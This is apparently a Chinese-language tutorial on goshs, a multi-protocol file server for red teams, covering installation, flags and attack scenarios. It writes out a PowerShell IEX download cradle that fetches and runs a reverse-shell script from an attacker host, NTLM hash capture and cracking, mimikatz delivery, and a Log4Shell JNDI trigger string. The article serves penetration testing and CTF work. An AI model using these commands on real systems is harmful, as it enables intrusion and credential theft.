goshs:红队与开发者的全能文件服务器 概述goshs是一个 Go 语言编写的单二进制文件服务器专为红队作战、渗透测试和 CTF 场景设计。它远不止是一个文件服务器——它是一个集 HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S、DNS、SMTP 于一体的多协议平台内置 NTLM hash 捕获与破解、反弹 Shell 接收器、Payload 模板引擎等红队利器。一句话定位python3 -m http.server的威力加强版渗透测试者的瑞士军刀。项目地址https://github.com/goshs-labs/goshs文档https://docs.goshs.de在线演示https://demo.goshs.de一、核心特性协议矩阵协议支持典型用途HTTP/HTTPS✅文件分发、上传下载WebDAV✅挂载为网络驱动器FTP/SFTP✅传统文件传输SMB✅NTLM hash 捕获LDAP/LDAPS✅凭据捕获 JNDI Log4ShellDNS✅回调检测SMTP✅邮件接收TFTP✅轻量文件传输红队特色功能NTLM hash 捕获SMB 服务器自动捕获目标机器的 NTLMv2 hash内置 wordlist 一键破解LDAP 凭据捕获模拟 LDAP 服务器捕获明文凭据 NTLM hash支持 JNDI 注入Log4ShellDNS 回调捕获 DNS 查询验证目标能否出网SMTP 开放中继接收任意邮件测试邮件网关Rev Shell Catcher接收反弹 Shell 并自动生成 PayloadPayload 模板引擎{{.LHOST}}/{{.LPORT}}自动填充请求加?tpl即时渲染Share Links基于 Token 的临时分享支持下载次数/时间限制TTL 自毁--ttl 2h两小时后自动退出不留痕迹安全与认证Basic Auth支持 bcrypt 散列证书双向认证IP 白名单文件级 ACLTLS自签名 / Let’s Encrypt / 自定义证书其他功能文件断点续传HTTP Range拖拽上传、批量 ZIP 下载QR 码生成TUI 终端仪表盘Webhook 通知Discord/Mattermost/Slacklocalhost.run 隧道穿透mDNS 零配置发现JSON API暗色/亮色主题切换剪贴板共享嵌入文件到二进制二、安装方式一键安装推荐curl-sSfLhttps://goshs.de/install.sh|shGo 安装goinstallgoshs.de/goshs/v2latest系统包管理器系统命令Kali / Parrotsudo apt install goshsArch Linux (AUR)yay -S goshs-binBlackArchpacman -S goshsAlpine Linuxapk add goshsFedora / RHELdnf copr enable goshs-labs/goshs dnf install goshsHomebrewbrew install goshsScoopscoop bucket add extras scoop install extras/goshswingetwinget install GoshsLabs.GoshsChocolateychoco install goshsDockerdocker run --rm -it -p 8000:8000 -v $PWD:/pwd goshs-labs/goshs:latest -d /pwd源码编译gitclone https://github.com/goshs-labs/goshs.gitcdgoshs go build-ogoshs.三、详细用法3.1 HTTP/HTTPS 文件服务器# 最基本用法当前目录端口 8000goshs# 指定端口goshs-p8080# 指定监听 IP 和目录goshs-i0.0.0.0-p8000-d/var/www# HTTPS 自签名证书goshs-s-ss# HTTPS 自定义证书goshs-s-skserver.key-scserver.crt# HTTPS Lets Encrypt 正式证书goshs-s-sl-sleadminexample.com-sldgoshs.example.com# 只读模式goshs-ro# 只上传模式goshs-uo-uf/path/to/upload# 静默模式不列出目录goshs-si# 隐形模式完全隐藏goshs-I3.2 认证与权限# Basic Authgoshs-badmin:SuperSecret123# Basic Auth bcrypt 散列密码goshs-badmin:$2a$14$ydRJ//Ob4SctB/D7o.rvU.LmPs/vwXkeXCbtpCqzgOJDSShLgiY52# 空用户名 密码goshs-b:$up3r$3cur3# 证书双向认证goshs-s-caca.crt-skserver.key-scserver.crt# IP 白名单goshs-ipw192.168.1.100,10.10.10.5# 启用 CLI需同时启用 TLS 和 Authgoshs-badmin:pass-s-ss-c3.3 WebDAV# 在 8001 端口启动 WebDAVgoshs-w# 指定 WebDAV 端口goshs-w-wp80803.4 FTP/SFTP# FTP 服务器goshs-ftp-ftp-port2121# SFTP 服务器goshs-ftp-ftp-sftp -ftp-port2222# SFTP 公钥认证goshs-ftp-ftp-sftp-fkf~/.ssh/authorized_keys# SFTP 指定主机密钥goshs-ftp-ftp-sftp-fhk/etc/ssh/ssh_host_ed25519_key3.5 TFTPgoshs-tftp-tftp-port693.6 SMB — NTLM Hash 捕获# 捕获 SMB hash需要 root 权限绑定 445 端口sudogoshs-smb-smb-domain CORP# 指定端口、域、共享名sudogoshs-smb-smb-port445-smb-domain CORP -smb-share DATA# 捕获后自动破解需提供 wordlistsudogoshs-smb-smb-wordlist /usr/share/wordlists/rockyou.txt攻击流程目标机器上执行net use \\攻击者IP\goshsgoshs 捕获 NTLMv2 hash 并显示在控制台自动/手动用 hashcat 或内置 wordlist 破解3.7 LDAP — 凭据捕获# LDAP 凭据捕获服务器goshs-ldap# LDAP hash 破解goshs-ldap-ldap-wordlist /usr/share/wordlists/rockyou.txt# LDAPSTLSgoshs-s-ss-ldap# JNDI 模式Log4Shell 利用goshs-ldap-ldap-jndi -ldap-jndi-base http://10.10.14.7:80003.8 DNS 回调# DNS 服务器捕获查询goshs-dns-dns-ip10.10.14.7 -dns-port53# 需要 root 权限绑定 53 端口sudogoshs-dns-dns-ip10.10.14.73.9 SMTP 邮件接收# 开放中继接收邮件goshs-smtp-smtp-port2525-smtp-domain your-domain.com3.10 反弹 Shell 接收器# 启动 Rev Shell Catchergoshs-rc# 自动生成 payload 页面访问 http://IP:8000/ 即可看到3.11 Payload 模板引擎模板引擎是双重主动开启的服务端需用--template启用客户端请求文件时还需显式加?tpl参数才会渲染。其余请求按原样返回文件。# 启动模板渲染--template 开启--tpl-var 定义变量可重复goshs-i10.10.14.7--template--tpl-varLPORT4444# 客户端请求加 ?tpl服务端渲染 {{.LHOST}}/{{.LPORT}} 等变量curlhttp://10.10.14.7:8000/rev.ps1?tpl# 不加 ?tpl 则返回原始文件变量保持 {{.VAR}} 字面量curlhttp://10.10.14.7:8000/rev.ps1⚠️?tpl只该指向文本类型的 payload——如果对恰好含{{的二进制文件开启渲染会将其破坏。⚠️{{.LHOST}}未解析时绑定0.0.0.0又没设--tpl-var LHOST请求会直接报错而不是静默输出空值。支持的模板变量变量来源说明{{.LHOST}}自动绑定-i的单一 IP0.0.0.0时必须手动--tpl-var LHOST...{{.LPORT}}--tpl-var自定义无默认值{{.Proto}}自动http或https{{.Port}}自动goshs 的 Web 端口{{.Host}}自动绑定的 IP/接口{{.YOURVAR}}--tpl-var任意自定义变量--tpl-var YOURVARvalue--tpl-var的赋值优先级高于同名的内置变量。3.12 Share Links分享链接# 启动后通过 Web UI 操作# 支持Token 认证、下载次数限制、时间限制goshs3.13 TUI 交互式仪表盘# 全屏终端仪表盘goshs--tui仪表盘包含HTTP 请求实时日志DNS 查询记录SMB 捕获记录LDAP 捕获记录SMTP 邮件记录反弹 Shell 视图剪贴板面板3.14 其他实用功能# TTL 自毁2 小时后退出goshs--ttl2h# Webhook 通知到 Discordgoshs-W-Wuhttps://discord.com/api/webhooks/xxx# JSON 日志输出goshs-o-V# 配置文件启动goshs-C/path/to/config.yaml# 打印示例配置goshs-P# localhost.run 隧道穿透goshs-t# mDNS 零配置发现goshs-m# 更新到最新版goshs--update# 安装 Shell 自动补全goshs--completionbashgoshs--completionfish goshs--completionzsh四、实战场景场景 1红队内网文件分发# 攻击机启动 HTTPS 文件服务器带认证goshs-i10.10.14.7-s-ss-bredteam:Pssw0rd!# 目标机下载工具curl-k-uredteam:Pssw0rd!https://10.10.14.7:8000/mimikatz.exe-omimikatz.exe# 或浏览器访问上传回显数据# 目标 POST 上传curl-k-uredteam:Pssw0rd!-Ffileresult.txthttps://10.10.14.7:8000/场景 2SMB Relay / Hash 捕获# 攻击机sudogoshs-smb-smb-domain CORP -smb-wordlist rockyou.txt# 目标执行net use\\10.10.14.7\goshs# 控制台输出# [] SMB NTLMv2 hash captured for CORP\\Administrator# [] Hash: Administrator::CORP:1122334455667788:...snip...# [] Attempting to crack with rockyou.txt...# [] Password found: Pssw0rd123!场景 3Payload 模板分发# 攻击机创建含模板变量的 payload 文件echopowershell -NoP -NonI -W Hidden -Exec Bypass -C IEX(New-Object Net.WebClient).downloadString(http://{{.LHOST}}:{{.LPORT}}/shell.ps1) rev.ps1 # 启动模板渲染服务 goshs -i 10.10.14.7 --template --tpl-var LPORT4444 # 目标执行加 ?tpl 触发渲染自动填充 LHOST 和 LPORT powershell -c IEX(New-Object Net.WebClient).downloadString(http://10.10.14.7:8000/rev.ps1?tpl)场景 4Log4Shell 利用# 启动 LDAP JNDI 服务器goshs-ldap-ldap-jndi -ldap-jndi-base http://10.10.14.7:8000/# 启动 HTTP 服务器提供恶意类goshs-d/path/to/exploit-classes# 目标触发${jndi:ldap://10.10.14.7:389/Exploit}场景 5内网穿透 远程文件服务器# 通过 localhost.run 隧道暴露到公网goshs-i127.0.0.1-p8000-t# 输出会显示一个 public URL如# https://random-name.lhr.life五、与同类工具对比特性goshspython3 -m http.serverupdogimpacket-smbserverHTTPS✅❌✅❌多协议✅ HTTP/S/FTP/SMB/LDAP/DNS/SMTP❌❌❌ SMB onlySMB Hash 捕获✅ 内置破解❌❌✅ 无破解LDAP 捕获✅ JNDI 模式❌❌❌Payload 模板✅❌❌❌Rev Shell Catcher✅❌❌❌TUI 仪表盘✅❌❌❌Share Links✅❌❌❌单二进制✅❌❌❌跨平台✅✅✅✅WebDAV✅❌❌❌六、总结goshs是目前红队场景下最全面的单二进制文件服务器。它的核心优势在于一体集成一个二进制替代 HTTP/S、FTP/SFTP、SMB、LDAP、DNS、SMTP 多个工具红队原生NTLM hash 捕获、LDAP 凭据窃取、反弹 Shell 接收、Payload 模板——都是渗透测试的刚需部署极简单文件零依赖curl 一键安装操作友好TUI 仪表盘、Web UI、CLI 三种操作界面安全可控TTL 自毁、IP 白名单、多种认证方式无论是渗透测试、CTF 比赛还是日常开发调试goshs 都是一个值得常备 toolbox 的工具。